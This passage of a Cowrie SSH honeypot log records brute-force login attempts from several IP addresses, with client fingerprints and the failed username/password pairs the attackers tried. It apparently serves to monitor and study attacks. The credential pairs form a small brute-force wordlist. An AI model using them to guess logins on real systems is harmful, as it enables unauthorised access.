{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":52178,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c0854577193","protocol":"ssh","message":"New connection: 150.95.157.171:52178 (10.17.0.5:22) [session: 5c0854577193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:24.707323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:24.713534Z","src_ip":"150.95.157.171","session":"5c0854577193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:24.866375Z","src_ip":"150.95.157.171","session":"5c0854577193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdf12345","message":"login attempt [ubuntu/asdf12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:25.500544Z","src_ip":"150.95.157.171","session":"5c0854577193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:26.666975Z","src_ip":"150.95.157.171","session":"5c0854577193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41638,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e03d4f75ded","protocol":"ssh","message":"New connection: 159.203.92.129:41638 (159.203.135.109:22) [session: 2e03d4f75ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:30.475994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:30.481010Z","src_ip":"159.203.92.129","session":"2e03d4f75ded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:30.490582Z","src_ip":"159.203.92.129","session":"2e03d4f75ded","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"rootadmin","message":"login attempt [administrator/rootadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:30.505771Z","src_ip":"159.203.92.129","session":"2e03d4f75ded","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:31.512279Z","src_ip":"159.203.92.129","session":"2e03d4f75ded","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":39746,"dst_ip":"10.17.0.5","dst_port":22,"session":"274ec752094d","protocol":"ssh","message":"New connection: 152.32.163.183:39746 (10.17.0.5:22) [session: 274ec752094d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:36.779791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:36.784818Z","src_ip":"152.32.163.183","session":"274ec752094d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:37.036065Z","src_ip":"152.32.163.183","session":"274ec752094d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123123123","message":"login attempt [deployer/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:38.067558Z","src_ip":"152.32.163.183","session":"274ec752094d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:02:39.320247Z","src_ip":"152.32.163.183","session":"274ec752094d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54648,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1921ffe242d","protocol":"ssh","message":"New connection: 159.203.92.129:54648 (159.203.135.109:22) [session: e1921ffe242d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:13.338314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:13.342736Z","src_ip":"159.203.92.129","session":"e1921ffe242d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:13.347305Z","src_ip":"159.203.92.129","session":"e1921ffe242d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"rootbridge","message":"login attempt [administrator/rootbridge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:13.358321Z","src_ip":"159.203.92.129","session":"e1921ffe242d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:14.379395Z","src_ip":"159.203.92.129","session":"e1921ffe242d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":40994,"dst_ip":"10.17.0.5","dst_port":22,"session":"c15857413a45","protocol":"ssh","message":"New connection: 150.95.157.171:40994 (10.17.0.5:22) [session: c15857413a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:15.264661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:15.269480Z","src_ip":"150.95.157.171","session":"c15857413a45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:15.434613Z","src_ip":"150.95.157.171","session":"c15857413a45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"root","message":"login attempt [dev/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:16.101743Z","src_ip":"150.95.157.171","session":"c15857413a45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:17.265352Z","src_ip":"150.95.157.171","session":"c15857413a45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44044,"dst_ip":"159.203.135.109","dst_port":22,"session":"3329a0ca7054","protocol":"ssh","message":"New connection: 159.203.92.129:44044 (159.203.135.109:22) [session: 3329a0ca7054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:55.706565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:55.713935Z","src_ip":"159.203.92.129","session":"3329a0ca7054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:55.723128Z","src_ip":"159.203.92.129","session":"3329a0ca7054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"rootcer","message":"login attempt [administrator/rootcer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:55.751648Z","src_ip":"159.203.92.129","session":"3329a0ca7054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:03:56.759539Z","src_ip":"159.203.92.129","session":"3329a0ca7054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":58042,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bc8f496a5c4","protocol":"ssh","message":"New connection: 150.95.157.171:58042 (10.17.0.5:22) [session: 1bc8f496a5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:04:06.118959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:04:06.127953Z","src_ip":"150.95.157.171","session":"1bc8f496a5c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:04:06.279704Z","src_ip":"150.95.157.171","session":"1bc8f496a5c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd!","message":"login attempt [ubuntu/P@ssw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:04:06.897305Z","src_ip":"150.95.157.171","session":"1bc8f496a5c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:04:08.060219Z","src_ip":"150.95.157.171","session":"1bc8f496a5c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":57288,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1bd08bb1d2c","protocol":"ssh","message":"New connection: 152.32.163.183:57288 (10.17.0.5:22) [session: f1bd08bb1d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:04:13.772961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:04:13.778503Z","src_ip":"152.32.163.183","session":"f1bd08bb1d2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53998,"dst_ip":"159.203.135.109","dst_port":22,"session":"baaf25c48601","protocol":"ssh","message":"New connection: 159.203.92.129:53998 (159.203.135.109:22) [session: baaf25c48601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:04:38.573579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:04:38.578837Z","src_ip":"159.203.92.129","session":"baaf25c48601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-n